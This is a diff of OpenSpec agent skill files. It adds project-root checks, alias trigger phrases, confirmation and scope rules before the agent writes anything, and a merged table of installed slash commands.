+- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
+
+In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
+
 **Input**: Optionally specify a change name. If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes.
 
 **Steps**

skills/openspec-explore/SKILL.md

@@ -1,6 +1,6 @@
 ---
 name: openspec-explore
-description: Enter explore mode - a thinking partner for exploring ideas, investigating problems, and clarifying requirements. Use when the user wants to think through something before or during a change.
+description: Enter OpenSpec explore mode - a thinking partner for exploring ideas, investigating problems, and clarifying requirements in a project that uses OpenSpec. Use when the user wants to think through something before or during an OpenSpec change. Also use when the user says "openspec explore" or "opsx explore".
 allowed-tools: Bash(openspec:*)
 license: MIT
 compatibility: Requires openspec CLI.
@@ -11,12 +11,23 @@ metadata:
 
 Enter explore mode. Think deeply. Visualize freely. Follow the conversation wherever it goes.
 
-**IMPORTANT: Explore mode is for thinking, not implementing.** You may read files, search code, investigate the codebase, and run read-only commands or tools without confirmation, but you must NEVER write code or implement features. If the user asks you to implement something, remind them to exit explore mode first and create a change proposal. You MAY create or update OpenSpec change artifacts (proposals, designs, specs) within a confirmed scope—that's capturing thinking, not implementing. Answering design or clarifying questions is never consent to write. Before the first write-capable action, name the artifacts or files you would change and what you would do, ask a direct yes/no question, and wait for the user's confirmation in a separate message. Confirmation covers only the scope you described; ask again before expanding it. For a new change, scaffold it first as described below.
+**IMPORTANT: Explore mode is for thinking, not implementing.** You may read files, search code, investigate the codebase, and run read-only commands or tools without confirmation, but you must NEVER write code or implement features. If the user asks you to implement something, do not start it here: say that explore mode does not implement, and point them at `/openspec-propose`, which turns the discussion into a change. The work happens from that change, never from explore mode. You MAY create or update OpenSpec change artifacts (proposals, designs, specs) within a confirmed scope—that's capturing thinking, not implementing. Answering design or clarifying questions is never consent to write. Before the first write-capable action, name the artifacts or files you would change and what you would do, ask a direct yes/no question, and wait for the user's confirmation in a separate message. Confirmation covers only the scope you described; ask again before expanding it. An explicit request from the user to capture the exploration as a new change is itself that confirmation, covering the change and the change artifacts the request names; scaffold it first as described below.
 
 **This is a stance, not a workflow.** There are no fixed steps, no required sequence, no mandatory outputs. You're a thinking partner helping the user explore.
 
 **Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
 
+**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
+
+One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
+
+Otherwise, with no root, what happens next depends on how this workflow was reached:
+
+- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
+- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
+
+In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
+
 ---
 
 ## The Stance
@@ -120,6 +131,14 @@ This tells you:
 - Their names, schemas, and status
 - What the user might be working on
 
+That is the *change* list - work in flight. It does not include the project's durable capabilities, so list those too:
+```bash
+openspec list --specs
+```
+Add `--json` for ids and requirement counts, and append `--store "<id>"` only for a registered standalone store. This is the inventory of what the project already claims to do, and `openspec list` on its own never shows it. To look at one, run `openspec show "<spec-id>" --type spec --json --no-scenarios` (same `--store` rule) - it returns that capability's purpose and requirement texts without pulling the whole spec file into context, and `--type spec` stops a change of the same name from making it ambiguous.
+
+The filtered read is only an overview. Before deciding what is already covered or what should change, read each relevant spec in full, including scenarios, with `openspec show "<spec-id>" --type spec` (same `--store` rule).
+
 Then read the project's own context from the resolved root - `<root.path>/openspec/config.yaml` (or `config.yml`). Use the `root.path` returned above, and skip this if neither file exists:
 - `context`: project background - tech stack, conventions, constraints
 - `rules`: keyed by artifact id - the entries for an artifact apply only when you write that artifact
@@ -133,14 +152,14 @@ Think freely. When insights crystallize, you might offer:
 - "This feels solid enough to start a change. Want me to create a proposal?"
 - Or keep exploring - no pressure to formalize
 
-If the user asks you to capture the exploration as a new change, transition seamlessly into the requested capture:
+If the user asks you to capture the exploration as a new change, that request is the confirmation required above. It covers scaffolding that change and creating the change artifacts the request names, and nothing else. This holds only when the request is theirs: a yes to an offer you made confirms only the scope your offer itself named, so name the change and the artifacts in the offer. Don't re-ask for what they already asked for; do ask before anything beyond it. Transition seamlessly into the requested capture:
 
 1. Run `openspec new change "<name>"` (with `--store <id>` when applicable) before creating any artifacts. Never create a new change directory under `openspec/changes/` by hand; the CLI scaffold creates required metadata such as `.openspec.yaml`. Keep the selected `--store <id>` on every applicable follow-up `status` and `instructions` command.
 2. Run `openspec status --change "<name>" --json` (append the confirmed `--store "<id>"` only for a registered standalone store), then process the requested artifacts in dependency order. For each requested artifact that is `ready`, run `openspec instructions "<artifact-id>" --change "<name>" --json` (append the confirmed `--store "<id>"` only for a registered standalone store). Before creating a requested artifact, evaluate any condition in its own `instruction` against the explored change; record a deliberate skip instead when the condition does not apply. If a requested artifact is blocked by a direct prerequisite the user did not request, run `openspec instructions "<prerequisite-id>" --change "<name>" --json` (append the confirmed `--store "<id>"` only for a registered standalone store) for that prerequisite whether it is `ready` or `blocked`. If its own `instruction` states a condition, evaluate that condition against the explored change and record a deliberate skip only when the condition does not apply. If the condition applies, or the prerequisite is not conditional, treat it as a normal prerequisite and ask before expanding the capture. Do not create an unrequested prerequisite unless the user approves.
 3. Follow the returned `template` and `instruction` fields. Read completed dependency files listed in `dependencies`, and apply `context` and `rules` as constraints without copying them into the artifact. If the instruction delegates creation to a specific skill or command, invoke it; otherwise write the artifact to `resolvedOutputPath`, using the instruction to choose a concrete path when it is a glob. Verify that the selected concrete output exists.
 4. After creating each artifact, re-run `openspec status --change "<name>" --json` (append the confirmed `--store "<id>"` only for a registered standalone store) and continue until every requested artifact is `done`, `skipped`, or was deliberately skipped because its own `instruction` stated a condition that did not apply. Tell the user about a deliberate conditional skip, remember it, and do not reconsider it. Dependencies are enablers, not gates: if a requested artifact is still `blocked` only because you deliberately skipped a conditional prerequisite, run `openspec instructions "<artifact-id>" --change "<name>" --json` (append the confirmed `--store "<id>"` only for a registered standalone store) despite the blocked status, then create it using step 3 only when those recorded conditional skips are its sole missing dependencies. If a requested artifact is blocked by a prerequisite the user did not ask to capture and cannot be conditionally skipped, explain that dependency and ask before expanding the capture.
 
-Capture the artifact(s) the user requested without asking them to invoke another workflow command. If they asked only to start a change, stop after scaffolding and show its status.
+Capture the artifact(s) the user requested without asking them to invoke another workflow command. If they asked only to start a change, stop after scaffolding and show its status. When the requested capture is done, stop there and name where the work continues: `/openspec-propose` writes the remaining planning artifacts, and `/openspec-apply-change` implements the change once tasks exist. Capturing artifacts never starts implementing them.
 
 ### When a change exists
 
@@ -296,7 +315,7 @@ You: That changes everything.
 
 There's no required ending. Discovery might:
 
-- **Flow into a proposal**: "Ready to start? I can create a change proposal."
+- **Flow into a proposal**: "Ready to start? Run `/openspec-propose` and this becomes a change."
 - **Result in artifact updates**: "Updated design.md with these decisions"
 - **Just provide clarity**: User has what they need, moves on
 - **Continue later**: "We can pick this up anytime"
@@ -313,7 +332,7 @@ When it feels like things are crystallizing, you might summarize:
 **Open questions**: [if any remain]
 
 **Next steps** (if ready):
-- Create a change proposal
+- Turn this into a change: `/openspec-propose`
 - Keep exploring: just keep talking
 ```
 
@@ -323,11 +342,11 @@ But this summary is optional. Sometimes the thinking IS the value.
 
 ## Guardrails
 
-- **Don't implement** - Never write code or implement features. Workflow configuration counts too: creating or editing schemas, templates, or `openspec/config.yaml` is a change, not thinking. Creating or updating OpenSpec change artifacts within the confirmed scope is fine, writing anything else is not.
+- **Don't implement** - Never write code or implement features. Workflow configuration counts too: creating or editing schemas, templates, or `openspec/config.yaml` is a change, not thinking. Creating or updating OpenSpec change artifacts within the confirmed scope is fine, writing anything else is not. When the user is ready to build, name the handoff rather than starting: `/openspec-propose` turns the discussion into a change, and the work happens there.
 - **Don't fake understanding** - If something is unclear, dig deeper
 - **Don't rush** - Discovery is thinking time, not task time
 - **Don't force structure** - Let patterns emerge naturally
-- **Don't auto-capture** - Offer to save insights, don't just do it. Read-only commands and tools need no confirmation. Before the first write-capable action—including `openspec new change` or another command that writes files—name the artifacts or files and proposed changes, ask a direct yes/no question, and wait for explicit confirmation in a separate user message. That confirmation covers only the described scope; ask again before expanding it. Answers to design or clarifying questions are never consent to write.
+- **Don't auto-capture** - Offer to save insights, don't just do it. Read-only commands and tools need no confirmation. Before the first write-capable action—including `openspec new change` or another command that writes files—name the artifacts or files and proposed changes, ask a direct yes/no question, and wait for explicit confirmation in a separate user message. That confirmation covers only the described scope; ask again before expanding it. Answers to design or clarifying questions are never consent to write. That rule governs `openspec new change` whenever you are the one proposing the capture; the user's own capture request is the exception, handled in the capture transition above.
 - **Don't manually scaffold changes** - Never create a new change directory under `openspec/changes/` by hand. Always use `openspec new change "<name>"` (with `--store <id>` when applicable) so required metadata such as `.openspec.yaml` is created before writing artifacts.
 - **Do visualize** - A good diagram is worth many paragraphs
 - **Do explore the codebase** - Ground discussions in reality

skills/openspec-ff-change/SKILL.md

@@ -1,6 +1,6 @@
 ---
 name: openspec-ff-change
-description: Fast-forward through OpenSpec artifact creation. Use when the user wants to quickly create all artifacts needed for implementation without stepping through each one individually.
+description: Fast-forward through OpenSpec artifact creation. Use when the user wants to quickly create all artifacts needed for implementation without stepping through each one individually. Also use when the user says "openspec ff" or "opsx ff".
 allowed-tools: Bash(openspec:*)
 license: MIT
 compatibility: Requires openspec CLI.
@@ -13,6 +13,17 @@ Fast-forward through artifact creation - generate everything needed to start imp
 
 **Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
 
+**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
+
+One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
+
+Otherwise, with no root, what happens next depends on how this workflow was reached:
+
+- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
+- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
+
+In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
+
 **Input**: The user's request should include a change name (kebab-case) OR a description of what they want to build.
 
 **Steps**

skills/openspec-new-change/SKILL.md

@@ -1,6 +1,6 @@
 ---
 name: openspec-new-change
-description: Start a new OpenSpec change using the experimental artifact workflow. Use when the user wants to create a new feature, fix, or modification with a structured step-by-step approach.
+description: Start a new OpenSpec change using the experimental artifact workflow. Use when the user wants to create a new feature, fix, or modification with a structured step-by-step approach. Also use when the user says "openspec new change" or "opsx new".
 allowed-tools: Bash(openspec:*)
 license: MIT
 compatibility: Requires openspec CLI.
@@ -13,6 +13,17 @@ Start a new change using the experimental artifact-driven approach.
 
 **Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
 
+**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
+
+One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
+
+Otherwise, with no root, what happens next depends on how this workflow was reached:
+
+- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
+- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
+
+In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
+
 **Input**: The user's request should include a change name (kebab-case) OR a description of what they want to build.
 
 **Steps**

skills/openspec-onboard/SKILL.md

@@ -1,6 +1,6 @@
 ---
 name: openspec-onboard
-description: Guided onboarding for OpenSpec - walk through a complete workflow cycle with narration and real codebase work.
+description: Guided onboarding for OpenSpec - walk through a complete workflow cycle with narration and real codebase work. Also use when the user says "openspec onboard" or "opsx onboard".
 allowed-tools: Bash(openspec:*)
 license: MIT
 compatibility: Requires openspec CLI.
@@ -13,6 +13,17 @@ Guide the user through their first complete OpenSpec workflow cycle. This is a t
 
 **Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
 
+**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
+
+One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
+
+Otherwise, with no root, what happens next depends on how this workflow was reached:
+
+- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
+- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
+
+In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
+
 ---
 
 ## Preflight
@@ -220,6 +231,8 @@ Here's a draft proposal:
 
 ---
 
+# Proposal
+
 ## Why
 
 [1-2 sentences explaining the problem/opportunity]
@@ -287,6 +300,8 @@ Here's the spec:
 
 ---
 
+# Spec Delta
+
 ## ADDED Requirements
 
 ### Requirement: <Name>
@@ -326,6 +341,8 @@ Here's the design:
 
 ---
 
+# Design
+
 ## Context
 
 [Brief context about the current state]
@@ -371,6 +388,8 @@ Here are the implementation tasks:
 
 ---
 
+# Tasks
+
 ## 1. [Category or file]
 
 - [ ] 1.1 [Specific task] — verify: [test, command, observable behavior, or delivered artifact]
@@ -472,23 +491,18 @@ This same rhythm works for any size change—a small fix or a major feature.
 
 ## Command Reference
 
-**Core workflow:**
+**The commands you have installed:**
 
- | Command           | What it does                               |
- |-------------------|--------------------------------------------|
+ | Command          | What it does                               |
+ |------------------|--------------------------------------------|
  | `/openspec-propose` | Create a change and generate all artifacts |
  | `/openspec-explore` | Think through problems before/during work  |
  | `/openspec-apply-change`   | Implement tasks from a change              |
  | `/openspec-archive-change` | Archive a completed change                 |
-
-**Additional commands** (only if installed - availability depends on your profile):
-
- | Command            | What it does                                             |
- |--------------------|----------------------------------------------------------|
- | `/openspec-new-change`      | Start a new change, step through artifacts one at a time |
- | `/openspec-continue-change` | Continue working on an existing change                   |
- | `/openspec-ff-change`       | Fast-forward: create all artifacts at once               |
- | `/openspec-verify-change`   | Verify implementation matches artifacts                  |
+ | `/openspec-new-change`     | Start a new change, one artifact at a time |
+ | `/openspec-continue-change` | Continue working on an existing change    |
+ | `/openspec-ff-change`      | Fast-forward: create all artifacts at once |
+ | `/openspec-verify-change`  | Verify implementation matches artifacts    |
 
 ---
 
@@ -508,8 +522,8 @@ If the user says they need to stop, want to pause, or seem disengaged:
 ```
 No problem! Your change is saved at the `changeRoot` reported by `openspec status --change "<name>" --json`.
 
-To pick up where we left off later:
-- `/openspec-continue-change <name>` - Resume artifact creation (if installed; otherwise `openspec status --change "<name>" --json` shows the next artifact)
+To pick up where we left off later, `openspec status --change "<name>" --json` shows exactly where the change stands.
+- `/openspec-continue-change <name>` - Resume artifact creation
 - `/openspec-apply-change <name>` - Jump to implementation (if tasks exist)
 
 The work won't be lost. Come back whenever you're ready.
@@ -524,23 +538,18 @@ If the user says they just want to see the commands or skip the tutorial:
 ```
 ## OpenSpec Quick Reference
 
-**Core workflow:**
+**The commands you have installed:**
 
  | Command                  | What it does                               |
  |--------------------------|--------------------------------------------|
- | `/openspec-propose <name>` | Create a change and generate all artifacts |
- | `/openspec-explore`        | Think through problems (no code changes)   |
- | `/openspec-apply-change <name>`   | Implement tasks                            |
- | `/openspec-archive-change <name>` | Archive when done                          |
-
-**Additional commands** (only if installed - availability depends on your profile):
-
- | Command                   | What it does                        |
- |---------------------------|-------------------------------------|
- | `/openspec-new-change <name>`      | Start a new change, step by step    |
- | `/openspec-continue-change <name>` | Continue an existing change         |
- | `/openspec-ff-change <name>`       | Fast-forward: all artifacts at once |
- | `/openspec-verify-change <name>`   | Verify implementation               |
+ | `/openspec-propose <name>`  | Create a change and generate all artifacts |
+ | `/openspec-explore`         | Think through problems (no code changes)   |
+ | `/openspec-apply-change <name>`    | Implement tasks                            |
+ | `/openspec-archive-change <name>`  | Archive when done                          |
+ | `/openspec-new-change <name>`      | Start a new change, step by step           |
+ | `/openspec-continue-change <name>` | Continue an existing change                |
+ | `/openspec-ff-change <name>`       | Fast-forward: all artifacts at once        |
+ | `/openspec-verify-change <name>`   | Verify implementation                      |
 
 Try `/openspec-propose` to start your first change.
 ```

skills/openspec-propose/SKILL.md

@@ -1,6 +1,6 @@
 ---
 name: openspec-propose
-description: Propose a new change with all artifacts generated in one step. Use when the user wants to quickly describe what they want to build and get a complete proposal with design, specs, and tasks ready for implementation.
+description: Propose a new OpenSpec change with all artifacts generated in one step. Use when the user wants to quickly describe what they want to build and get a complete proposal with design, specs, and tasks ready for implementation. Also use when the user says "openspec propose" or "opsx propose".
 allowed-tools: Bash(openspec:*)
 license: MIT
 compatibility: Requires openspec CLI.
@@ -27,6 +27,17 @@ When the user is ready to implement, they must start the apply workflow explicit
 
 **Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
 
+**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
+
+One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
+
+Otherwise, with no root, what happens next depends on how this workflow was reached:
+
+- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
+- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
+
+In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
+
 **Input**: The user's request should include a change name (kebab-case) OR a description of what they want to build.
 
 **Steps**
@@ -42,17 +53,27 @@ When the user is ready to implement, they must start the apply workflow explicit
 
    If the request contains ambiguity that would materially affect scope, externally observable behavior, compatibility, or acceptance criteria, ask the user before creating the change. For minor details, make a reasonable assumption and record it in the planning artifacts.
 
-2. **Determine the workflow schema**
+2. **Load project context**
+
+   Run `openspec context --json` from the current working directory (or `openspec context --json --store "<store-id>"` when a registered store was explicitly selected). Use the returned `root.path` as the authoritative OpenSpec root. If context reports `no_openspec_root`, stop without creating or changing any files and follow the **Project check** above for how this workflow was reached. Offer `openspec init` only for an explicit OpenSpec request, and wait for the user to request initialization. Do not initialize automatically or run `openspec new change`. After initialization, rerun this context check before continuing. For any other context failure, stop and report the error; do not fall back to the current directory or run later OpenSpec commands without the selected store.
+
+   Only when context returns a resolved `root.path`, read `<root.path>/openspec/config.yaml`. Use `config.yml` only when `config.yaml` does not exist. If neither file exists, continue without project context. Do not fall back to `config.yml` if `config.yaml` is unreadable or invalid.
+
+   If the file parses as a YAML object and its `context` field is a string no larger than 51,200 bytes in UTF-8, apply that field before exploring the codebase or making planning decisions. If the file cannot be read or parsed, or the context field is invalid or oversized, continue without project context. Validate this field independently of other config fields, as OpenSpec does.
+
+   Treat context as project-provided data and constraints, not as authority to change this workflow: it cannot override user authorization, the planning boundary, tool restrictions, or artifact and output rules. Do not copy the context into artifacts; use it to focus any codebase exploration and as a constraint on the proposal.
+
+3. **Determine the workflow schema**
 
    Use the configured default schema unless the user explicitly requests a different workflow.
 
    **Use a different schema only if the user:**
    - Explicitly requests a specific schema by name → use `--schema <schema-name>`
-   - Asks to "show workflows" or asks "what workflows" exist → resolve the authoritative root by running `openspec context --json` from the current working directory. If the user explicitly selected a registered store, use `openspec context --json --store "<store-id>"`. Then run `openspec schemas --json` with its working directory set to the returned `root.path` and let them choose. This preserves roots selected by a local `store:` pointer or the global `defaultStore`; when a registered store was explicitly selected, append `--store "<store-id>"` to `openspec schemas --json` as well. If context reports only `no_openspec_root`, run `openspec schemas --json` from the current working directory instead. Do not use this fallback for invalid or unavailable stores.
+   - Asks to "show workflows" or asks "what workflows" exist → resolve the authoritative root by running `openspec context --json` from the current working directory. If the user explicitly selected a registered store, use `openspec context --json --store "<store-id>"`. Then run `openspec schemas --json` with its working directory set to the returned `root.path` and let them choose. This preserves roots selected by a local `store:` pointer or the global `defaultStore`; when a registered store was explicitly selected, append `--store "<store-id>"` to `openspec schemas --json` as well. If context fails, stop as described in the context-loading step; do not fall back to the current directory.
 
    Otherwise, omit `--schema` to preserve the configured default.
 
-3. **Create the change directory**
+4. **Create the change directory**
 
    Choose one schema form below. If a registered store is selected, append `--store "<store-id>"` to that command and each later OpenSpec command shown below that accepts `--store`.
 
@@ -67,7 +88,7 @@ When the user is ready to implement, they must start the apply workflow explicit
    ```
    This creates a scaffolded change in the planning home resolved by the CLI with `.openspec.yaml`.
 
-4. **Get the artifact build order**
+5. **Get the artifact build order**
    ```bash
    openspec status --change "<name>" --json
    ```
@@ -76,7 +97,7 @@ When the user is ready to implement, they must start the apply workflow explicit
    - `artifacts`: list of all artifacts, each with its `status` and its `requires` edges (the artifact IDs it directly depends on)
    - `planningHome`, `changeRoot`, `artifactPaths`, and `actionContext`: path and scope context. Use these instead of assuming repo-local paths.
 
-5. **Create every artifact in the required set**
+6. **Create every artifact in the required set**
 
    Use a todo list to track progress through the artifacts.
 
@@ -119,7 +140,7 @@ When the user is ready to implement, they must start the apply workflow explicit
       - Ask the user to clarify
       - Then continue with creation
 
-6. **Show final status**
+7. **Show final status**
    ```bash
    openspec status --change "<name>"
    ```

skills/openspec-sync-specs/SKILL.md

@@ -1,6 +1,6 @@
 ---
 name: openspec-sync-specs
-description: Sync delta specs from a change to main specs. Use when the user wants to update main specs with changes from a delta spec, without archiving the change.
+description: Sync delta specs from an OpenSpec change to main specs. Use when the user wants to update main specs with changes from a delta spec, without archiving the change. Also use when the user says "openspec sync" or "opsx sync".
 allowed-tools: Bash(openspec:*)
 license: MIT
 compatibility: Requires openspec CLI.
@@ -15,6 +15,17 @@ This is an **agent-driven** operation - you will read delta specs and directly e
 
 **Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
 
+**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
+
+One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
+
+Otherwise, with no root, what happens next depends on how this workflow was reached:
+
